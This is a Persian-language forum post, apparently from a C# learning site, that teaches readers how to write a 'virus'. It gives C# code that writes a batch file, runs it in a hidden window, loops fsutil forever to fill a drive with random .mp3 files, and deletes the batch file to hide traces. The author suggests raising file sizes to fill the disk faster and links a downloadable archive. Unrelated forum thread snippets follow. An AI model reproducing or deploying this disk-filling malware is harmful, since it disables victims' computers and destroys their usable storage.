رفتن به مطلب
برای استفاده از انجمن و عضـویت کلیک کنید.

پست های پیشنهاد شده

Yaseen    92

تیم استادیار

ارسال شده در (ویرایش شده)

سلام اساتید و دوستان عزیز

کاربرد این ویروس مختل کردن سیستم کاربر و پر کردن ظرفیت هارد هست البته میتونید با تغییر مقدار این کار رو در چند ثانیه یا چند دقیقه انجام بدید//یا کد دیگه ای جایگزین کنید

تو این پست نحوه استفاده از فایل های bat در سی شارپ و نحوه ساخت یه ویروس رو بهتون اموزش میدم 

برای این پروژ ه از ویژوال 2017 استفاده کردم البته منظورم سورس پایینی هس

ابتدا با استفاده از دستور streamwriter فایلی با نامی دلخواه ایجاد میکنیم 

البته استفاده از کلاس IO یادتون نره

سپس تو ابجکت ساخته شده از  متد streamدستور نوشتن اولین خط ویروس رو صادر میکنیم

این دستور بصورت حلقه تکرار خواهد بود من در اینجا از حرفD: استفاده کردم یعنی متغییر**

در خط بعدی گزینه ای هست که یه پیام به کاربر نشون میده میتونید این مورد رو خط بزنید  

البته اسلش کردن این پیام تاثیری در اجرای برنامه نداره

سپس از خط بعدی با استفاده از فرمان fsutil  دستور ایجاد یک فایل جدید را دادم و اسم این فایل را با استفاده از تابع رندوم

کاری کردم که بصورت نامحدود و رندوم رشته یا اعداد تصادفی ایجاد کند و پسوند این فایل را به اختیار mp3 گذاشتم میتونید هرپسوندی بزارید

سپس در انتها اندازه فایل ساخته شده رو به اون میدیم مثلا 1024 یا برای سریع تر پر شدن هارد 102400000 

در انتها برای قرار گرفتن دستور در حلقه تکرار و بینهایت با دستور goto متغییر d رو فراخوانی میکنیم بدین ترتیب این حلقه در مسیر اجرا قرار گرفته و فایلهای مربوطه ساخته میشود

در نهایت برای خالی کردن حافظه کش و بستن دستور ساخت فایل که از کش برنامه خارج بشه با دو متد dispose  و cloes بهش پایان دادم

 

اما رسیدیم به قسمت دوم تا اینجا فایل ساخته شد اما برای اجرا باید از کلاس proccess استفاده کنیم

ابتدا از این کلاس یه ابجکت ساختم 

بزارید عزیزان کمی در این باره توضیح بدم process یا همون فرایند وظیفه تفکیک منابع و حافظه برای هریک از برنامه های در حال اجرا رو داره یعنی میتونه چنیدین برنامه مختلف در حال اجرا رو مدیریت و مرز بندی کنه

زیاد دور نشیم  باید اون بالا اول توضیح میدادم یادم رفت .......ادامه

در حالی که از این فرایند یه ابجکت ساختم فایل ساخته شده رو بهش معرفی میکنم

در خط بعدی استفاده از محیط شل یا همون بت رو برای  برنامه در حال اجرا تعریف کردم

خط چهارم  و پنجم نیز درخصوص نمایش یا عدم نمایش پنجره هستش با true or false

نهایتا اومدم این فرایند رو استارت زدم که فایل ساخته شده با متد بالا رو اجرا کنه

یکی مونده به اخر منظورم خطه ها

دستور انتظار برای اجرای دستور رو دادم یعنی تا اجرا کامل نشده منظر باشه و خارج نشه

نهایتا  برای پاک کردن رد پا فایل ایجاد کننده ویروس  رو  پاک  کردیم دیدید خیلی سخت نبود

میتونید بجای کد پیشنهای من هر کدی بزارید 

            StreamWriter sw =File.CreateText("hbat");
            sw.WriteLine(":D");
            // sw.WriteLine("msg.exe * You are Infected");//اختیاری ==میتونید پیامو نشون ندید
            sw.WriteLine("fsutil file createnew g:\\%random%.mp3 4096");
           // sw.WriteLine("fsutil file createnew g:\\%random%.mp3 10240000");  // اینجا فقط یک درایو هدف قرار گفته
             sw.WriteLine("goto D");
            // sw.Write("");
            sw.Close();
            sw.Dispose();

            Process Oprocess = new Process();
            Oprocess.StartInfo.FileName = @"hbat";
            Oprocess.StartInfo.UseShellExecute = true;
            Oprocess.StartInfo.CreateNoWindow = true;
            Oprocess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            Oprocess.Start();
            Oprocess.WaitForExit();

            File.Delete(@"hbat");

 پسورد  == learn-net.ir

learn-net.rar

ویرایش شده در توسط Yaseen

به اشتراک گذاری این ارسال


لینک به ارسال

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری

  • مطالب مشابه

    • توسط Yaseen
      سلام دوستان
      این برنامه هرنوع فایل رو میتونه ذخیره کنه میتونه بعنووان برنامه ذخیره اسناد و فایلها مورد استفاده قرار بگیره 
      فایل رو به بایت تبدیل کردم نحوه ذخیره توی هارد هم همینطوره
      توی گزینه انتخاب محدودیت حجم هم هست میشه تغییرش داد
      یه ترد گذاشتم برای زمان ذخیره فرم
      توی همه متدها و اکثرا خط ها رو توضیح دادم
      اگه قرار باشه کارهای دیگه هم زمان انجام بشه میتونیم توی بک گراندورکر و async بزاریم اما ایجا ما یک عمل رو انجام میدیم و اونا لازم نیستن
      در کل برنامه جالبی هست از اکسس استفاده کردم مشکلات sql دست و پای ادمو میبنده خودم یه بانک دارم 400 هزار رکورد داره بنظرم اکسس تا 1 میلیون رکور توانایی خوبی داره
      ضمنا توی سایتم این برنامه رو پولی گذاشته بودم بخاطر لرن نت که واقعا محل تبادل دانش هست و فروم بسیار عالی هست با مدیران بسیار مسلط همینطوری گذاشتم تا دوستان استفاده کنند
      FileSave2DB-urmiapazar.ir.rar
       
       

    • توسط namefree
      سلام خسته نباشید دوستان 
      من قبلا با sqlite  دیتا بیس ساختم و مشکلی نداشتم اما وقتی دوباره visual studio  نسخه  professional رو نصب کردم و extensions  مربوط به Sqlite  رو نصب کردم تا دیتا بیس بسازم قسمت مربوط به ساخت دیتا بیس خالی بود اگه کسی میتونه راهکار بده ممنون دوستان وقت گذاشتین.


    • توسط beniamine
      سلام دوستان چطوری میشه در ربات تلگرام جوین اجباری قرار داد برای کانال؟
      با استفاده از سی شارپ
  • کاربران آنلاین در این صفحه   0 کاربر

    هیچ کاربر عضوی،در حال مشاهده این صفحه نیست.

×